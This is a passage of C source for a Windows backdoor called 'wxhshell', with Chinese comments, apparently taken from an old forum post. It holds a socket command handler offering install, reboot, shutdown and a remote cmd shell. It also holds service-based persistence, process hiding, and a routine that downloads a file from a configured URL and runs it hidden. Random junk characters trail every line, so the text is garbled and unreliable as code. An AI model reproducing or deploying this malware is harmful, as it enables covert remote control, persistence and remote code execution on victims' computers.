  else { =gr3a,2  
{~d8_%:b  
    switch(cmd[0]) { }NJ? .Y  
  Vt," 5c  
  // 帮助 V$ss[fX  
  case '?': { b<rJ@1qtJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _52BIrAO2  
    break; thSo,uGlW  
  } )wY bcH  
  // 安装 80ms7 B  
  case 'i': { d~J4&w  
    if(Install()) wms8z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u>-!5=D8  
    else 'xp&)g L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q|}Pc>ae  
    break; Aa/lKiiz  
    } lN^} qg><  
  // 卸载 ! =c&U.B  
  case 'r': { {utIaMb]&v  
    if(Uninstall()) BK:S:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _-I0f##.  
    else 3F0:v,+;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \TBY)_[ {  
    break; "&/&v  
    } G(~"Zt}?  
  // 显示 wxhshell 所在路径 @v,qfT*k7  
  case 'p': { LA^H213N|  
    char svExeFile[MAX_PATH]; xcYYo'U  
    strcpy(svExeFile,"\n\r"); ^m:?6y_uw  
      strcat(svExeFile,ExeFile); ~m56t5+uw  
        send(wsh,svExeFile,strlen(svExeFile),0); aTy&"  
    break; P}QuGy[  
    } uB:utg  
  // 重启 J5Tl62}  
  case 'b': { COK7 i^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u{ .UZTn  
    if(Boot(REBOOT)) x~tG[Y2F?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7MT[fA8^  
    else { ,2%>e"%  
    closesocket(wsh); )rs);Pl  
    ExitThread(0); ~T[m{8uh  
    } AcYL3  
    break; /\KB*dX  
    } MW+]w~7_Q  
  // 关机 b|*A%?m  
  case 'd': { s^$zO p9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lLT;V2=osX  
    if(Boot(SHUTDOWN)) m+Yj"RMx&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g.N~81A  
    else { <zK9J?ZQW>  
    closesocket(wsh); ,9f$a n  
    ExitThread(0); @BN cIJk9  
    } q<b;xx  
    break; 'I_\ELb_  
    } {^bs }($J  
  // 获取shell +'x`rk  
  case 's': { xla9:*pPn  
    CmdShell(wsh); M+ gYKPP  
    closesocket(wsh); 'qhA4W9  
    ExitThread(0); }cE,&n  
    break; /tf}8d  
  } \~zTc_  
  // 退出 ET`;TfqM  
  case 'x': { xXu/CGzG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >i4UU0m  
    CloseIt(wsh); Rd5r~iT  
    break; 7oDr`=q1]r  
    } e}e\*BL  
  // 离开 HzT"{N9  
  case 'q': { -)aBS3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :r[`bqC;\*  
    closesocket(wsh); *~|xj,md  
    WSACleanup(); lfKrd3KS_  
    exit(1); Dg@>d0FW  
    break; 3D k W  
        } \+g95|[/  
  } C``%<)WC  
  } #kV`G.EX  
W&6P%0G/  
  // 提示信息 -~ `5kO~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Fce| Tn  
} It4J \S  
  } @M"h_Z1#  
pVw)"\S%  
  return; Q<r O5 -K  
} d3(T=9;f2  
- iS\3P.  
// shell模块句柄 u[^(s_  
int CmdShell(SOCKET sock) oZ@_o3VG  
{ Y2w 9]:J  
STARTUPINFO si; M*E4:A9_M  
ZeroMemory(&si,sizeof(si)); 8lt P)K4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2|#3rF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ue$\ i=jw  
PROCESS_INFORMATION ProcessInfo; pscCXk(|A`  
char cmdline[]="cmd"; 0%+TU4Xx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G;MgrA#\  
  return 0; <vA^%D<\~  
} hsljJvs  
}$;T.[ ~  
// 自身启动模式 l9q ygh  
int StartFromService(void) \sF}NBNT@  
{ v. ,C"^W  
typedef struct {JzX`Z30l  
{ 8Hs>+Udl  
  DWORD ExitStatus; yU*j{>%RsK  
  DWORD PebBaseAddress; lyx p:  
  DWORD AffinityMask; lvb0dOmY  
  DWORD BasePriority; ^[8e|,U  
  ULONG UniqueProcessId; ^owEB%  
  ULONG InheritedFromUniqueProcessId; X{ZBS^M  
}   PROCESS_BASIC_INFORMATION; >GgX-SZ%  
QKbX^C  
PROCNTQSIP NtQueryInformationProcess; )D@1V=9,  
BJk\p.BVN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ][6$$ Lz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; * KFsO1j  
!/['wv@  
  HANDLE             hProcess; W<B8PS$  
  PROCESS_BASIC_INFORMATION pbi; /U6G?3b  
5 8p_b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _pKW($\  
  if(NULL == hInst ) return 0; -";'l @D=  
VA)3=82n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M:nXn7)+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |z|5j!Nfh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l0u6nGkh  
MlsF?"H p  
  if (!NtQueryInformationProcess) return 0; 9 YU7R)  
7 4aap2^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $[[6N0}*:  
  if(!hProcess) return 0; or ~o'  
Z%XBuq:BY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nd#t !=  
us4.-L  
  CloseHandle(hProcess); Lz=nJn  
!Il>,q&F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C_PXh>H]'  
if(hProcess==NULL) return 0; [FC7+ Ey^  
7|T5N[3?l,  
HMODULE hMod; @C7S^|eo  
char procName[255]; m^O:k"+!  
unsigned long cbNeeded; <{YP=WYW  
hn.9j"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AzN.vA)q  
\%E Zg  
  CloseHandle(hProcess); bu%@1:l  
)Bl% {C  
if(strstr(procName,"services")) return 1; // 以服务启动 (Y'rEc#H&z  
ph30/*8  
  return 0; // 注册表启动 l`gRw4 /$  
} #'^p-Jdm  
IL}pVa00{n  
// 主模块 /,/T{V[  
int StartWxhshell(LPSTR lpCmdLine) A`=ESz  
{ 27E6S)zv  
  SOCKET wsl; p2!x8`IB*  
BOOL val=TRUE; . %tc7`k8  
  int port=0; ).N}x^  
  struct sockaddr_in door; TpZ) wC  
|>A1J:  
  if(wscfg.ws_autoins) Install(); u$&7fmZ  
s:R>uGYOd  
port=atoi(lpCmdLine); :I F&W=?9  
1 xiq]~H  
if(port<=0) port=wscfg.ws_port; I\Y/*u  
A! <R?  
  WSADATA data; *A GC[w}/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H4KwbTT"+  
E[nWB"pxE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =9YyUAJZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^gH.5L0]gH  
  door.sin_family = AF_INET; phl5E:fIKx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }^?dK3~q  
  door.sin_port = htons(port); 2j4VW0:  
X||o iqbY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v=i[s  
closesocket(wsl); 7SXi#{  
return 1; 8 8pz<$  
} /Rx%}~x/m  
t{!}^{ "5  
  if(listen(wsl,2) == INVALID_SOCKET) { emw3cQ  
closesocket(wsl); E^1uZI\z  
return 1; RX=C)q2c  
} !F;W#Gc  
  Wxhshell(wsl); }N2T/U  
  WSACleanup(); nrwb6wj  
X  LA  
return 0; W5_t/_EWD  
6peO9]Zy  
} Nh]eZ3O  
a%;$l_wVT:  
// 以NT服务方式启动 u~1[nH:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g}$]K! F  
{ WsJ3zZc  
DWORD   status = 0; bW3e*O$V  
  DWORD   specificError = 0xfffffff; q' 3=  
*FK!^Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z?XE~6aP>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vj[ .`fY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $62ospR^Y  
  serviceStatus.dwWin32ExitCode     = 0; 9j:?s;B  
  serviceStatus.dwServiceSpecificExitCode = 0; GZXUB0W\@)  
  serviceStatus.dwCheckPoint       = 0; l K}('7\  
  serviceStatus.dwWaitHint       = 0; L;fhJ~ r  
_ 97F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S<88>|&n]  
  if (hServiceStatusHandle==0) return; Nypa,_9}  
hKQT,  
status = GetLastError(); Z)62/`C)  
  if (status!=NO_ERROR) C% }FVO\c  
{ ;|soc:aH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o8 q@rwu3  
    serviceStatus.dwCheckPoint       = 0; :~ zK0v"  
    serviceStatus.dwWaitHint       = 0; 9i yNR!  
    serviceStatus.dwWin32ExitCode     = status; UR1U; k  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7AV!v`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{ JAC!  
    return; ud'r ?QDM  
  } 8.{5c6G  
NLoJmOi;L7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rm+|xvZ4  
  serviceStatus.dwCheckPoint       = 0; BGLJ>zkq  
  serviceStatus.dwWaitHint       = 0; `cy_@Z5A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +7^%fX;3pW  
} =MB[v/M59w  
a&.8*|w3  
// 处理NT服务事件,比如:启动、停止 |"5NI'X?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e DX{}Dq(  
{ EXS 1.3>  
switch(fdwControl) y''`73U"  
{ p8%x@%k  
case SERVICE_CONTROL_STOP: FGzB7w#  
  serviceStatus.dwWin32ExitCode = 0; +QtK "5M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ojT TYR{  
  serviceStatus.dwCheckPoint   = 0; ~U~KUL|  
  serviceStatus.dwWaitHint     = 0; rzLpVpTaz  
  { Y71io^td~j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *]W{83rXQ  
  } ;pBSGr 9  
  return; ,kpk XK  
case SERVICE_CONTROL_PAUSE: ,l&Dt,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yJppPIW^  
  break; dE.R$SM  
case SERVICE_CONTROL_CONTINUE: flVQG@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p#qQGJe  
  break; 9Fv1D  
case SERVICE_CONTROL_INTERROGATE: XBF#ILJ  
  break; owmV7E1  
}; +a"MSPC4w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x`WP*a7Fk]  
} x: `oqbd  
P`@d8 %*;  
// 标准应用程序主函数 ;&s`g   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?E^~z-  
{  pzg|?U  
"n}J6   
// 获取操作系统版本 )ra_`Qdcf  
OsIsNt=GetOsVer(); Q\<C9%a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,gUSW  
&UEr4RK;I  
  // 从命令行安装 c] $X+  
  if(strpbrk(lpCmdLine,"iI")) Install(); }XX)U_ x  
CDK0 $W n  
  // 下载执行文件 ;v^tUyhCb  
if(wscfg.ws_downexe) { i!*w'[G->Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q}*(rR9/Br  
  WinExec(wscfg.ws_filenam,SW_HIDE); jdK~]eld=  
} )c^Rc9e/  
GXr9J rs.e  
if(!OsIsNt) { K#%L6=t$<  
// 如果时win9x,隐藏进程并且设置为注册表启动 4;<?ec(dc  
HideProc(); W.r0W2))(  
StartWxhshell(lpCmdLine); <ZSH1~<{6  
} V\W?@V9g-  
else Xjw> Qws  
  if(StartFromService()) d/v{I  
  // 以服务方式启动 SGXXv  
  StartServiceCtrlDispatcher(DispatchTable); f<=<:+  
else S*Qip,u  
  // 普通方式启动 A0m  
  StartWxhshell(lpCmdLine); :"5i/Cx  
n!2"pRIi  
return 0; 3%bCv_6B  
}
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只看该作者 1 发表于: 2006-10-10
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